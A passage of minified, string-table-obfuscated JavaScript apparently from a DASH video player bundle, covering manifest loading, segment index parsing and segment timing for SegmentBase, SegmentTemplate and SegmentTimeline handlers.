Date(n[r[240]])[r[241]]()),n},n[r[6]][r[242]]=function(n,t){return n[r[5]](r[73])?Array[r[20]](n[r[73]])||(n[r[73]]=[n[r[73]]]):n[r[73]]=[t],n},n[r[6]][r[243]]=function(n){var i,t,e,u;for(n[r[5]](r[30])&&!Array[r[20]](n[r[30]])&&(n[r[30]]=[n[r[30]]]),i=[],t=0;t<n[r[73]][r[3]];t++)e=n[r[73]][t],u=new f,u[r[42]]=h[r[24]][r[244]](e),i[r[204]](u);return this[r[222]](n,i,null)},n[r[6]][r[245]]=function(n,t){t[r[246]]?t[r[247]]=u[r[228]][r[227]](t[r[246]]):(t[r[247]]=n[r[247]]+n[r[248]],t[r[246]]=r[249]+t[r[247]]+r[250])},n[r[6]][r[251]]=function(n){for(var t,f={start:0,duration:0,_start:r[252],_duration:r[252]},i=0;i<n[r[233]][r[3]];i++)t=n[r[233]][i],this[r[245]](f,t),t[r[253]]?t[r[248]]=u[r[228]][r[227]](t[r[253]]):(t[r[248]]=n[r[233]][i+1]?(u[r[228]][r[227]](n[r[233]][i+1][r[246]])||0)-t[r[247]]:n[r[254]]?(u[r[228]][r[227]](n[r[254]])||0)-t[r[247]]:1/0,t[r[253]]=r[249]+t[r[248]]+r[250]),this[r[48]][r[81]][r[80]](r[257][r[36]](i,r[256])[r[36]](t[r[162]],r[255])[r[36]](t[r[247]],r[28])[r[36]](t[r[247]]+t[r[248]])),n[r[233]][i]=t,f=t;return n},n[r[6]][r[258]]=function(n){var i,f,e=this,o=[],t=[],s=u[r[228]][r[227]](n[r[254]]);return n[r[233]][r[178]](function(h,l){var a,w;i=u[r[228]][r[227]](h[r[246]]);f=u[r[228]][r[227]](h[r[253]]);isNaN(i)&&0===t[r[3]]&&r[259]===n[r[238]]&&(i=0);isNaN(i)&&t[r[3]]>0&&!isNaN(parseFloat(t[t[r[3]]-1][r[247]]))&&!isNaN(parseFloat(t[t[r[3]]-1][r[248]]))&&(i=t[t[r[3]]-1][r[247]]+t[t[r[3]]-1][r[248]]);isNaN(i)&&l===n[r[233]][r[3]]-1&&!isNaN(s)&&(f=s-i);t[r[3]]>0&&isNaN(parseFloat(t[t[r[3]]-1][r[248]]))&&!isNaN(i)&&(t[t[r[3]]-1][r[248]]=i-t[t[r[3]]-1][r[247]]);t[r[204]]({start:i,duration:f});a=function(n){if(h[r[5]](n)&&[r[30],r[234],r[261]][r[260]](n))if(Array[r[20]](h[n])||(h[n]=[h[n]]),r[234]===n){var t=h[n][r[27]](function(n){var t=n[r[157]];return!t&&n[r[175]][r[3]]>0&&(t=n[r[175]][0][r[157]]),d[r[263]][r[262]](t)})[r[192]](function(n,t,i){return i[r[174]](n)===t});h[n]=h[n][r[27]](function(n){c(n,h);var t=e[r[169]](n);return null!==t&&!t[r[5]](r[264])&&t[r[175]][0][r[5]](r[264])&&(t[r[264]]=t[r[175]][0][r[264]]),t})[r[192]](function(n){return Boolean(n)});t[r[192]](function(n){return r[272]===n||r[273]===n})[r[178]](function(t){h[n][r[265]](function(n){return n[r[157]][r[260]](t)})||e[r[48]][r[60]][r[271]](p[r[267]][r[266]],new v[r[270]](y[r[269]][r[268]]))});h[n][r[3]]<1&&o[r[204]](l)}else r[261]===n&&h[n][r[192]](function(n){return n[r[275]]})[r[178]](function(n){n[r[275]][r[178]](function(n){n[r[274]]=e[r[152]]({event:n})})})};for(w in h)a(w)}),o[r[3]]>0&&r[259]===n[r[238]]&&this[r[276]](o,t,s,n),n=this[r[251]](n)},n[r[6]][r[276]]=function(n,t,i,u){for(var e,s,o,f;!isNaN(parseInt(e=n[r[277]]()));){if(s=t[e][r[247]],o=t[e][r[248]],!isNaN(s)&&!isNaN(o))for(isNaN(i)||(i-=o,u[r[254]]=r[249]+i+r[250]),f=e+1;f<t[r[3]];f++)isNaN(parseFloat(t[f][r[247]]))||(t[f][r[247]]=t[f][r[247]]-o,u[r[233]][f][r[246]]=r[249]+t[f][r[247]]+r[250]);t[r[278]](e,1);u[r[233]][r[278]](e,1)}},n[r[279]]=function(n){n[r[5]](r[280])&&!Array[r[20]](n[r[280]])&&(n[r[280]]=[n[r[280]]]);var t=[];return(n[r[280]]||[])[r[192]](function(n){return n[r[5]](r[201])&&r[177]==typeof n[r[201]]})[r[178]](function(n){var i={schemeIdUri:n[r[201]]};r[177]==typeof n[r[202]]&&(i[r[281]]=n[r[202]]);t[r[204]](i)}),t[r[3]]>0?n[r[280]]=t:delete n[r[280]],n},n[r[6]][r[74]]=function(t,i,u){var e,s=this[r[151]](t,{decodeEntities:!0}),f;if(!1===s[r[282]])throw new o[r[89]](o[r[87]][r[283]],{errorMessage:s[r[285]][r[284]]},r[286]);return f=s[r[288]][r[287]],f[r[289]]=Date[r[290]](),f[r[291]]=u,f[r[238]]=null!==(e=f[r[238]])&&void 0!==e?e:r[259],n[r[232]](f),f=this[r[236]](f),f=this[r[239]](f),f=this[r[242]](f,i),f=this[r[243]](f),f=this[r[258]](f),(f=n[r[279]](f))&&f[r[233]]&&0!==f[r[233]][r[3]]?(f[r[292]]=t,f):(this[r[48]][r[60]][r[90]](new o[r[89]](o[r[87]][r[283]])),null)},n[r[6]][r[77]]=function(){this[r[147]]=null},a([w[r[294]](r[293])],n[r[6]],r[74],null),n}();t[r[58]]=rt;t[r[139]]=c;t[r[138]]=l;f=function(){function n(){this[r[42]]=null;this[r[208]]=null;this[r[212]]=null;this[r[219]]=null;this[r[220]]=null;this[r[221]]=null;this[r[215]]=!1;this[r[207]]=null}return n[r[6]][r[216]]=function(){return this[r[42]]?r[32]+this[r[42]]:r[32]},n}();t[r[30]]=f},84075:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[298]]=void 0;var f=i(16368),u=i(5945),e=i(52832),o=i(92983),s=i(19213),h=i(44890),c=i(61411),l=i(99033),a={isIndexRangeNode:u[r[14]],isInitializationNode:u[r[15]],isInitializationStringNode:u[r[16]]},v={provideSegmentInfoFromInitializationProperty:u[r[13]],provideSegmentInfoFromInitializationNodeProperty:u[r[11]],provideSegmentInfoFromIndexRangeProperty:u[r[10]]};t[r[298]]={name:f[r[149]][r[299]],module:function(){return{MPDLoader:e[r[37]],SegmentBaseMPDHandler:s[r[300]],SynchronizedTimeService:l[r[301]],SegmentTemplateMPDHandler:h[r[302]],SegmentTimelineMPDHandler:c[r[303]],replaceAllPlaceholders:o[r[22]],initSegmentInfoSourceDetectors:a,initSegmentInfoProviders:v}},dependencies:[f[r[149]][r[304]],f[r[149]][r[148]]]};t[r[22]]=t[r[298]]},19213:function(n,t,i){function d(n,t,i){for(var f=[],u=0,e=n;u<e[r[3]];u++){var o=e[u],s=o[r[445]],h=o[r[446]],c=t,l=c+s-1;f[r[204]]({byteRange:{start:c,end:l},time:i,duration:h});t+=s;i+=h}return f}var u=this&&this[r[1]]||function(){return u=Object[r[2]]||function(n){for(var u,i,t=1,f=arguments[r[3]];t<f;t++)for(i in u=arguments[t])Object[r[6]][r[5]][r[4]](u,i)&&(n[i]=u[i]);return n},u[r[7]](this,arguments)};Object[r[9]](t,r[8],{value:!0});t[r[300]]=void 0;var o=i(18665),a=i(60997),v=i(88005),s=i(67345),y=i(10676),l=i(76885),h=i(91520),c=i(16368),p=i(94938),w=i(38925),b=i(28915),e=i(41735),f=i(5945),k=function(){function n(n){var t=this,i,f,h;this[r[48]]=n;this[r[305]]=0;this[r[306]]=-1;this[r[307]]=y[r[312]](this[r[309]][r[308]](this),function(n,t){return t[r[311]][r[310]]});this[r[313]]=function(n){var i=u({},t[r[316]][r[315]](t[r[314]]));return t[r[307]](n,i)[r[84]](function(n){var u,f;return(t[r[319]][r[112]](e[r[318]](i[r[311]],n)),t[r[319]][r[112]](e[r[320]](i[r[311]],!1)),n||(t[r[319]][r[112]](e[r[321]](i[r[311]],!0)),t[r[48]][r[81]][r[324]](r[323][r[36]](null===(u=t[r[314]])||void 0===u?void 0:u[r[322]]()))),t[r[306]]>=0)&&(f=t[r[306]],t[r[306]]=-1,t[r[325]](f)),t[r[326]]=null,t[r[314]]})[r[51]](function(n){throw t[r[307]][r[317]](),n;})};this[r[327]]=function(n){return t[r[326]]=null,t[r[48]][r[81]][r[324]](r[331][r[36]](t[r[314]][r[322]](),r[330])[r[36]](JSON[r[328]](n),r[329])),Promise[r[82]](JSON[r[328]](n))};this[r[332]]=function(n){return t[r[333]]?Promise[r[82]](r[334]):new Promise(function(i,u){t[r[333]]={resolve:i,reject:u,representationId:n}})};this[r[56]]=n[r[56]];i=n[r[45]][r[44]];this[r[316]]=n[r[47]][r[69]](o[r[41]][r[335]],i);f=this[r[316]][r[336]]()||{_id:r[337]};this[r[338]]=f[r[162]];h=this[r[56]][r[339]];this[r[53]]=new v[r[65]](n,{maxRetries:h,retryDelay:this[r[56]][r[340]],requestType:s[r[64]][r[341]]});this[r[319]]=n[r[47]][r[69]](o[r[41]][r[342]],i)}return n[r[6]][r[343]]=function(n){var u,i,t=this[r[316]][r[315]](n),e,f;return t&&t[r[344]]&&(e=this[r[316]][r[345]](this[r[338]]),isFinite(e)&&(i=e/t[r[344]][r[346]][r[3]]),f=this[r[316]][r[347]](),0!==f&&(isFinite(f)&&(u=f/t[r[344]][r[346]][r[3]]),i||(i=u)),t[r[344]]&&(u=t[r[344]][r[346]][0][r[248]]/t[r[344]][r[348]],i||(i=u))),i},n[r[6]][r[349]]=function(){var t,i,n=this[r[316]][r[315]](this[r[350]]);if(null===(i=null===(t=null==n?void 0:n[r[344]])||void 0===t?void 0:t[r[346]])||void 0===i?void 0:i[r[3]]){var e=n[r[344]][r[348]]||1,o=n[r[344]][r[346]][this[r[305]]][r[351]]/e,f=this[r[352]](),u={url:r[32],byteRange:n[r[344]][r[346]][this[r[305]]][r[219]],periodId:n[r[311]][r[338]],presentationTimeOffset:f,startTime:o-f};return u[r[353]]=b[r[354]](u),this[r[305]]++,this[r[355]]=Math[r[357]](this[r[305]]*this[r[356]]()),u}},n[r[6]][r[358]]=function(n){var t=this[r[316]][r[315]](n);return t&&t[r[295]]&&t[r[30]]?u(u({},this[r[359]](t)),{codecs:p[r[361]](this[r[316]][r[360]](n))}):null},n[r[6]][r[359]]=function(n){var i,t=n[r[295]][0];return f[r[15]](t)?f[r[11]](t,n):n[r[344]]?f[r[14]](t)?f[r[10]](t,n):null:(this[r[48]][r[81]][r[80]](r[363][r[36]](null===(i=n[r[311]])||void 0===i?void 0:i[r[322]](),r[362])),null)},n[r[6]][r[364]]=function(){if(this[r[333]]){var n=this[r[349]]();n&&(this[r[333]][r[93]](n),this[r[333]]=null)}},n[r[6]][r[365]]=function(n){this[r[366]]=n;this[r[367]]=n[r[368]][r[29]](r[28])[0];this[r[369]]();this[r[364]]()},n[r[6]][r[369]]=function(){var t,e=this,i=this[r[316]][r[315]](this[r[350]]);i&&(t=i[r[163]]);var u=this[r[316]][r[370]](this[r[366]],t),f=this[r[350]]?u[r[297]](function(n){return n[r[311]]===e[r[350]]}):null,n=null!=f?f:u[0];this[r[350]]=n[r[311]];this[r[338]]=this[r[350]][r[338]];n[r[344]]||(this[r[103]](this[r[350]]),n=this[r[316]][r[315]](n[r[311]]));n[r[5]](r[295])&&n[r[295]][r[3]]>1&&this[r[48]][r[81]][r[80]](r[372][r[36]](n[r[162]],r[371]))},n[r[6]][r[373]]=function(n){return!!this[r[316]][r[315]](n)&&(this[r[350]]=n,this[r[325]](this[r[355]]),!0)},n[r[6]][r[374]]=function(){var n=this[r[375]]();return this[r[376]](n)},n[r[6]][r[376]]=function(n){var i=this,t={};return this[r[316]][r[360]](this[r[366]])[r[175]][r[178]](function(u){var f=u[r[162]],e,o;if(t[f]=[],1===u[r[30]][r[3]])e=u[r[30]][0][r[42]],t[f][r[204]]({url:l[r[24]][r[378]](e,i[r[56]][r[377]])});else for(o=0;o<u[r[30]][r[3]];o++)e=l[r[24]][r[378]](u[r[30]][o][r[42]],i[r[56]][r[377]]),t[f][r[204]]({url:e});t[f][r[178]](function(t){t[r[248]]=n[r[379]]-n[r[247]];t[r[380]]=n[r[247]]})}),t},n[r[6]][r[381]]=function(){var n=this[r[349]]();return n?Promise[r[93]](n):this[r[332]]()},n[r[6]][r[382]]=function(){var n=this[r[316]][r[383]](this[r[350]]);return n?n[0]:null},n[r[6]][r[384]]=function(){},n[r[6]][r[385]]=function(){return-1},n[r[6]][r[386]]=function(){return this[r[316]][r[387]]()},n[r[6]][r[388]]=function(){var n,t=this;return this[r[316]][r[315]](this[r[350]])&&(n=this[r[343]](this[r[350]])),n<0&&(n=this[r[316]][r[360]](this[r[366]])[r[175]][r[27]](function(n){return t[r[343]](n[r[311]])})[r[297]](function(n){return n>0})),isFinite(n)?[n,!0]:[1,!1]},n[r[6]][r[356]]=function(){return this[r[388]]()[0]},n[r[6]][r[389]]=function(){this[r[364]]();var n=this[r[316]][r[315]](this[r[350]]);if(n){if(n[r[344]])return this[r[305]]<n[r[344]][r[346]][r[3]];if(!this[r[390]](this[r[350]]))return!0}return!1},n[r[6]][r[325]]=function(n){var t,u;this[r[355]]=n;var f=this[r[388]](),i=f[0],e=f[1];((i<0||!e)&&(this[r[306]]=n),i>0&&e&&n>-1)&&(u=this[r[316]][r[315]](this[r[350]]),this[r[350]]&&u&&(this[r[391]](Math[r[357]](n/i)),this[r[48]][r[81]][r[80]](r[395][r[36]](n,r[394])[r[36]](this[r[305]],r[393])[r[36]](null===(t=this[r[350]])||void 0===t?void 0:t[r[322]](),r[392])[r[36]](u[r[157]],r[329]))))},n[r[6]][r[352]]=function(){var u=this[r[316]][r[396]](this[r[338]]),t=this[r[316]][r[315]](this[r[350]]),n=t&&t[r[295]]?t[r[295]][0]:null,i=0,f;return n&&n[r[5]](r[397])&&n[r[5]](r[398])&&(f=n[r[5]](r[398])?parseInt(n[r[398]]):1,i=parseInt(n[r[397]])/f),u&&(i-=u[r[247]]),i},n[r[6]][r[399]]=function(){return this[r[305]]},n[r[6]][r[391]]=function(n){this[r[305]]=n},n[r[6]][r[400]]=function(){},n[r[6]][r[103]]=function(n){var u=this,h;if(this[r[326]])return this[r[326]][r[51]](function(){})[r[84]](function(){return u[r[103]](n)});var o=void 0,t=void 0,i=this[r[316]][r[315]](n);return w[r[401]]?this[r[53]][r[402]]()?void 0:(this[r[48]][r[81]][r[80]](r[403][r[36]](null==n?void 0:n[r[322]](),r[329])),o=f[r[12]](i),t=i[r[295]][0][r[21]],h=parseInt(t[r[29]](r[28])[1])+1,this[r[319]][r[112]](e[r[404]](i[r[311]],h)),this[r[314]]=n,this[r[326]]=this[r[53]][r[52]](o,s[r[100]][r[99]],s[r[406]][r[405]],null,{Range:r[407]+t})[r[84]](function(n){return u[r[313]](n[r[49]])})[r[51]](this[r[327]])):(this[r[48]][r[81]][r[409]](r[408][r[36]](null==n?void 0:n[r[322]](),r[329])),Promise[r[82]](null))},n[r[6]][r[390]]=function(n){return this[r[316]][r[390]](n)},n[r[6]][r[410]]=function(){return this[r[305]]--,!(this[r[305]]<0&&(this[r[48]][r[81]][r[80]](r[411]),this[r[391]](0),1))},n[r[6]][r[375]]=function(){return{start:0,end:this[r[316]][r[347]]()}},n[r[6]][r[412]]=function(){return this[r[333]]},n[r[6]][r[413]]=function(n){this[r[333]]=n},n[r[6]][r[77]]=function(){this[r[56]]=null;this[r[316]]=null;this[r[350]]=null;this[r[319]]=null;this[r[53]]=a[r[77]](this[r[53]]);this[r[333]]=null;this[r[307]]=null},n[r[6]][r[414]]=function(){},n[r[6]][r[415]]=function(){return this[r[48]][r[47]][r[69]](o[r[41]][r[418]])[r[69]](this[r[367]])[r[417]](this[r[358]](this[r[314]]))[r[84]](function(n){return n[r[416]]()})[r[84]](function(n){return n[r[281]]})},n[r[6]][r[419]]=function(n,t){return this[r[415]]()[r[84]](function(i){var f=h[r[150]][r[69]](c[r[149]][r[421]])[r[420]],e=h[r[150]][r[69]](c[r[149]][r[421]])[r[422]],o=new f(n),u=new e(i[r[425]]())[r[424]][r[423]],s=function(n,t,i){for(var e=n[r[442]][r[441]](function(n){return n[r[440]]}),f=new Array(e[r[3]]),o=t-function(n){var t=n[r[442]]&&n[r[442]][0],i=t&&t[r[440]]&&t[r[440]][0],u=i&&i[r[444]]&&i[r[444]][0];return u&&u[r[443]]||0}(n),u=e[r[3]]-1;u>=0;u--)f[u]={time:e[u][r[351]],byteRange:{start:o+e[u][r[444]][0][r[443]]}},u===e[r[3]]-1?f[u][r[248]]=i-f[u][r[351]]:(f[u][r[219]][r[379]]=f[u+1][r[219]][r[247]]-1,f[u][r[248]]=f[u+1][r[351]]-f[u][r[351]]);return f}(o,parseInt(t[r[295]][0][r[21]][r[29]](r[28])[1])+1,u[r[426]]()/u[r[427]]());return{timescale:u[r[427]](),references:s}})},n[r[6]][r[309]]=function(n,t){return r[428]===this[r[367]][r[29]](r[217])[1]?this[r[419]](n,t):Promise[r[93]](this[r[430]](n,t[r[429]]))},n[r[6]][r[430]]=function(n,t){if(!n||!t)return this[r[48]][r[81]][r[80]](r[431]),null;var i=h[r[150]][r[69]](c[r[149]][r[436]])[r[435]](n)[r[434]][r[297]](function(n){return r[432]===n[r[433]]});return i?{timescale:i[r[348]],references:d(i[r[346]],i[r[437]]+t,i[r[438]])}:(this[r[48]][r[81]][r[80]](r[439]),null)},n}();t[r[300]]=k},44890:function(n,t,i){function h(n){return n&&null!=n[r[398]]&&parseInt(n[r[398]])||1}Object[r[9]](t,r[8],{value:!0});t[r[447]]=t[r[302]]=void 0;var f=i(18665),c=i(42055),u=i(331),l=i(70016),e=i(76885),a=i(96953),v=i(73553),y=i(28915),o=i(5945),s=i(92983),p=function(){function n(n){this[r[48]]=n;this[r[56]]=n[r[56]];this[r[316]]=n[r[47]][r[69]](f[r[41]][r[335]],n[r[45]][r[44]]);this[r[351]]=0}return n[r[6]][r[384]]=function(){var n=this[r[448]](this[r[350]]);return n&&n[r[5]](r[449])?parseInt(n[r[449]]):1},n[r[6]][r[450]]=function(){var n=this[r[448]](this[r[350]]);return n&&n[r[451]]?parseInt(n[r[451]]):NaN},n[r[6]][r[365]]=function(n,t,i){void 0===t&&(t=null);void 0===i&&(i={isManifestUpdate:!1});this[r[366]]=n;this[r[350]]=t;var u=!this[r[350]]||Boolean(this[r[316]][r[315]](this[r[350]])),f=this[r[316]][r[360]](this[r[366]]);this[r[350]]&&u||(this[r[350]]=f[r[175]][0][r[311]]);this[r[448]](this[r[350]])?this[r[305]]||this[r[391]](this[r[384]]()):this[r[48]][r[81]][r[80]](r[452]);this[r[364]]()},n[r[6]][r[453]]=function(){return this[r[316]][r[454]](this[r[350]]||this[r[366]])},n[r[6]][r[373]]=function(n){return!!this[r[316]][r[315]](n)&&(this[r[350]]=n,!0)},n[r[6]][r[358]]=function(n){var t=this[r[448]](n),i=this[r[316]][r[315]](n);return o[r[16]](t)?o[r[13]](t,i):null},n[r[6]][r[455]]=function(){var n=this[r[448]](this[r[350]]);return parseFloat(n[r[145]])||0},n[r[6]][r[456]]=function(n){var t=this[r[457]](n);return t-=this[r[455]](),u[r[459]](t+this[r[356]]()+this[r[56]][r[458]])},n[r[6]][r[448]]=function(n){var t=this[r[316]][r[315]](n);if(null==t?void 0:t[r[172]])return t[r[172]][0]},n[r[6]][r[460]]=function(){var n;return(null===(n=this[r[453]]())||void 0===n?void 0:n[r[247]])||0},n[r[6]][r[461]]=function(n){var i=this[r[450]](),t,u;return isFinite(i)?n>i:(t=this[r[453]](),u=Boolean(null==t?void 0:t[r[253]])?t[r[247]]+t[r[248]]:1/0,this[r[457]](n)>=u)},n[r[6]][r[462]]=function(n){return this[r[456]](n)<=Date[r[290]]()},n[r[6]][r[349]]=function(){var n={isInitSegment:!1,presentationTimeOffset:this[r[352]]()},i=this[r[448]](this[r[350]]),f,e,t;if(!i||!i[r[463]]||!this[r[316]][r[464]](this[r[350]]))return null;if(this[r[316]][r[465]]()){if(f=this[r[462]](this[r[305]]),e=this[r[461]](this[r[305]]),!f||e)return null;n[r[466]]=this[r[456]](this[r[305]])-u[r[459]](this[r[356]]())}return t=this[r[316]][r[315]](this[r[350]]),n[r[338]]=null==t?void 0:t[r[311]][r[338]],n[r[42]]=s[r[22]](i[r[463]],t,this[r[305]],this[r[351]]),n[r[353]]=y[r[354]](n),n[r[467]]=this[r[305]],n[r[380]]=this[r[457]](this[r[305]]),this[r[391]](this[r[305]]+1),n},n[r[6]][r[381]]=function(){var n=this[r[349]]();return n?Promise[r[93]](n):this[r[332]]()},n[r[6]][r[332]]=function(n){var t=this;return this[r[333]]?Promise[r[82]](r[334]):new Promise(function(i,u){t[r[333]]={resolve:i,reject:u,representationId:n}})},n[r[6]][r[364]]=function(){if(this[r[333]]){var n=this[r[349]](),t=this[r[461]](this[r[305]]);n?(this[r[333]][r[93]](n),this[r[333]]=null):t&&(this[r[333]][r[82]](v[r[469]][r[468]]),this[r[333]]=null)}},n[r[6]][r[374]]=function(n){var t=this,i={};return this[r[316]][r[360]](this[r[350]])[r[175]][r[178]](function(u){var o,l,a,p=u[r[311]],w=t[r[448]](p),b=[],v=t[r[375]]()[r[379]]-t[r[375]]()[r[247]],h=0,k=t[r[316]][r[465]](),c,f,y;for(k?(a=t[r[351]]-v,o=t[r[305]]-v/t[r[356]](),l=t[r[305]]):(a=w[r[397]]||0,o=0,l=parseInt(o+v/t[r[356]]())),c=o;c<=l;c++)f={},f[r[248]]=t[r[356]](),f[r[380]]=k?t[r[457]](c):h*t[r[356]](),y=s[r[22]](w[r[463]],u,o+h,a+h*t[r[356]]()),f[r[42]]=n?e[r[24]][r[23]](n,y):y,f[r[42]]=e[r[24]][r[378]](f[r[42]],t[r[56]][r[377]]),b[r[204]](f),h++;i[p[r[310]]]=b}),i},n[r[6]][r[382]]=function(){var n=this[r[316]][r[315]](this[r[350]])[r[30]][0];return n[r[42]]||n},n[r[6]][r[470]]=function(){var n=this[r[448]](this[r[350]]);return n&&n[r[5]](r[471])},n[r[6]][r[472]]=function(){if(this[r[470]]()){var n=this[r[448]](this[r[350]]);return parseInt(n[r[471]])}},n[r[6]][r[356]]=function(){var n=this[r[448]](this[r[350]]),t=Number(null==n?void 0:n[r[253]]),i=Number(null==n?void 0:n[r[398]]);return isNaN(t)?1:isNaN(i)?t:t/i},n[r[6]][r[325]]=function(n){n>-1&&this[r[391]](this[r[473]](n))},n[r[6]][r[474]]=function(){return h(this[r[448]](this[r[350]]))},n[r[6]][r[457]]=function(n){var t=this[r[460]]();return(n-this[r[384]]())*this[r[356]]()+t},n[r[6]][r[473]]=function(n){var t=this[r[356]](),i=this[r[460]](),u=Math[r[475]](n-i-t/2,0);return Math[r[357]](u/t)+this[r[384]]()},n[r[6]][r[386]]=function(){var n=this[r[476]]();return n[r[379]]-n[r[247]]},n[r[6]][r[476]]=function(){var t=c[r[479]](this[r[478]]()[r[477]]()),n=this[r[316]][r[347]]()||1/0;return this[r[316]][r[465]]()?this[r[480]](n):this[r[481]](t,n)},n[r[6]][r[478]]=function(){return this[r[48]][r[47]][r[69]](f[r[41]][r[342]],this[r[48]][r[45]][r[44]])},n[r[6]][r[481]]=function(n,t){return{start:n,end:isFinite(t)?n+t:0}},n[r[6]][r[480]]=function(){var t=(this[r[316]][r[336]]()||{start:0})[r[247]],i=-1*this[r[316]][r[387]](),f=u[r[115]](Date[r[290]]()-this[r[316]][r[482]]()),e=Math[r[483]](i,f),n=this[r[385]]();return{start:Math[r[475]](t,n-e),end:n}},n[r[6]][r[375]]=function(){var n=this[r[476]](),t;return this[r[316]][r[465]]()&&(t=this[r[316]][r[484]](),n[r[379]]=Math[r[475]](n[r[379]]-t,n[r[247]])),n},n[r[6]][r[389]]=function(n){var t=this[r[461]](this[r[305]]),i=Math[r[485]](n/this[r[356]]())+this[r[384]]()-1;return!t&&this[r[305]]<=i},n[r[6]][r[352]]=function(){var i=this[r[453]](),n=0,t=this[r[448]](this[r[350]]);return t&&t[r[397]]&&(n=t[r[397]]/this[r[474]]()),i&&(n-=i[r[247]]),n},n[r[6]][r[345]]=function(n,t){var i=this[r[316]][r[454]](n)||this[r[453]]();return this[r[316]][r[486]](n[r[338]])?i&&l[r[487]](i[r[248]])&&isFinite(i[r[248]])?i[r[248]]:i&&i[r[247]]?u[r[115]](t)-i[r[247]]:this[r[316]][r[488]](n[r[338]]):this[r[316]][r[345]](n[r[338]])},n[r[6]][r[489]]=function(n){var t=Date[r[290]](),i=u[r[115]](t-this[r[316]][r[490]]());return this[r[470]]()?this[r[472]]()+Math[r[357]](i/this[r[356]]()):this[r[316]][r[465]]()&&Boolean(this[r[316]][r[492]]()[r[491]])?Math[r[357]](this[r[345]](n,t)/this[r[356]]()+this[r[384]]()):this[r[384]]()},n[r[6]][r[493]]=function(n){return Math[r[475]](this[r[489]](n),this[r[384]]())},n[r[6]][r[399]]=function(){return this[r[305]]},n[r[6]][r[391]]=function(n){this[r[305]]=n},n[r[6]][r[385]]=function(){return u[r[115]](Date[r[290]]())},n[r[6]][r[400]]=function(n,t){if(void 0===t&&(t=this[r[350]][r[338]]),this[r[316]][r[465]]()){var i=this[r[305]],u=this[r[493]](new a[r[494]](t));0===n?(this[r[391]](u),this[r[48]][r[81]][r[80]](r[495]+i+r[496]+this[r[305]]+r[497])):(this[r[391]](u+Math[r[357]](n/this[r[356]]())),this[r[305]]<this[r[384]]()&&this[r[391]](this[r[384]]()),this[r[48]][r[81]][r[80]](r[495]+i+r[496]+this[r[305]]))}},n[r[6]][r[103]]=function(n){return this[r[350]]=n,Promise[r[93]](n)},n[r[6]][r[390]]=function(){return!0},n[r[6]][r[410]]=function(){return this[r[391]](this[r[305]]-1),this[r[305]]<this[r[384]]()&&(this[r[48]][r[81]][r[80]](r[498]),this[r[391]](this[r[384]]())),!0},n[r[6]][r[412]]=function(){return this[r[333]]},n[r[6]][r[413]]=function(n){this[r[333]]=n},n[r[6]][r[77]]=function(){this[r[56]]=null;this[r[316]]=null;this[r[350]]=null;this[r[366]]=null;this[r[333]]=null},n[r[6]][r[414]]=function(){},n}();t[r[302]]=p;t[r[447]]=h},61411:function(n,t,i){function h(n,t,i){var u;(u=n[r[548]])[r[204]][r[7]](u,t);n[r[545]]+=i*t[r[3]];n[r[544]]+=i*t[r[3]];n[r[305]]+=t[r[3]]}function e(n){return Math[r[114]](n*f)/f}function b(n,t,i,u){var f=e(n[r[519]]/t),s=e(f+n[r[534]]/t),o=e(i[r[519]]/u);return f<=o&&o<s}var c=this&&this[r[499]]||function(){var n=function(t,i){return n=Object[r[500]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[501]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[504]]=t}if(r[136]!=typeof i&&null!==i)throw new TypeError(r[502]+String(i)+r[503]);n(t,i);t[r[6]]=null===i?Object[r[505]](i):(u[r[6]]=i[r[6]],new u)}}(),f;Object[r[9]](t,r[8],{value:!0});t[r[303]]=void 0;var l=i(81361),a=i(331),o=i(76885),v=i(73553),y=i(28915),s=i(92983),p=i(44890),u=i(38725),w=function(n){function t(t){var i=n[r[4]](this,t)||this;return i[r[506]]=0,i[r[507]]=null,i[r[508]]=[],i[r[509]]=!0,i[r[510]]=!1,i[r[511]]=1,i[r[512]]=0,i[r[513]]=0,i}return c(t,n),t[r[6]][r[365]]=function(t,i,u){var e,o,f;void 0===i&&(i=null);void 0===u&&(u={isPeriodSwitch:!1,isManifestUpdate:!1});this[r[366]]=t;this[r[350]]=i;e=!this[r[350]]||Boolean(this[r[316]][r[315]](this[r[350]]));o=this[r[316]][r[360]](this[r[366]]);this[r[350]]&&e||(this[r[350]]=o[r[175]][0][r[311]]);f=this[r[448]](this[r[350]]);f?(this[r[515]](f,u[r[514]]),this[r[399]]()||n[r[6]][r[391]][r[4]](this,this[r[384]]())):this[r[48]][r[81]][r[80]](r[452]);this[r[364]]()},t[r[6]][r[373]]=function(n){if(this[r[316]][r[315]](n)){this[r[350]]=n;var t=this[r[448]](this[r[350]]);return t&&this[r[515]](t),!0}return!1},t[r[6]][r[516]]=function(n){return null!=(null==n?void 0:n[r[247]])&&isFinite(n[r[247]])?n[r[247]]:0},t[r[6]][r[349]]=function(){var t={isInitSegment:!1,presentationTimeOffset:this[r[352]]()},f=this[r[448]](this[r[350]]),i,u;if(!f||!f[r[463]]||!this[r[316]][r[464]](this[r[350]])||(this[r[316]][r[465]]()&&this[r[509]]&&(this[r[510]]||this[r[400]](0),this[r[509]]=!1),!(this[r[508]][r[3]]>0&&this[r[506]]<this[r[508]][r[3]])))return null;if(i=this[r[508]][this[r[506]]],n[r[6]][r[391]][r[4]](this,i[r[141]]),this[r[351]]=i[r[517]],t[r[248]]=i[r[248]],t[r[518]]=i[r[519]],t[r[467]]=i[r[141]],t[r[380]]=i[r[520]]-t[r[521]],this[r[316]][r[465]]()){if(this[r[461]](this[r[506]]))return null;t[r[466]]=this[r[522]](this[r[506]])}return u=this[r[316]][r[315]](this[r[350]]),u?(t[r[338]]=null==u?void 0:u[r[311]][r[338]],t[r[42]]=s[r[22]](f[r[463]],u,this[r[399]](),this[r[351]]),t[r[353]]=y[r[354]](t),n[r[6]][r[391]][r[4]](this,this[r[399]]()+1),this[r[506]]++,t):null},t[r[6]][r[381]]=function(){var n=this[r[349]]();return n?Promise[r[93]](n):this[r[332]]()},t[r[6]][r[332]]=function(n){var t=this;return this[r[333]]?Promise[r[82]](r[334]):new Promise(function(i,u){t[r[333]]={resolve:i,reject:u,representationId:n}})},t[r[6]][r[364]]=function(){var t,n;if(this[r[333]])if(t=this[r[349]](),t)this[r[333]][r[93]](t),this[r[333]]=null;else if(!this[r[316]][r[523]]()&&(n=this[r[453]](),isFinite(n[r[248]]))){var 